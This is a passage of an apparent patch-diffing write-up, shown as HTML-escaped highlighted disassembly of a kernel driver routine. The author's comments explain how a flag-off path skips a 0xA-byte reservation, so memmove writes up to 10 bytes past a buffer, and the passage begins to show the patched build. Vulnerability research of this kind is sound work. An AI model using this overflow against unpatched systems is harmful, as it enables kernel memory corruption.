&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D90A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;supplied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D90E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D912&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D917&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D919&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C006D937&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;weak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAFE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reserves&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D91B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D91F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D923&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D926&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmovb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12w&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D92B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D92E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmovnb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D932&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D935&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C006D955&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WEAK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reservation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D937&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D93B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D93F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D942&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D944&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;avail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D947&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D94A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D94C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C006D955&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D94E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D951&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8w&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COPY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shifted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D955&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D959&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D95D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D960&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;past&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D965&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;identical&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;both&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;builds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched build (@ &lt;code&gt;0x1C006D730&lt;/code&gt;), the same region with the flag removed and only the reserving clamp:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D832&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D836&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D83A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MappedSystemVa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;
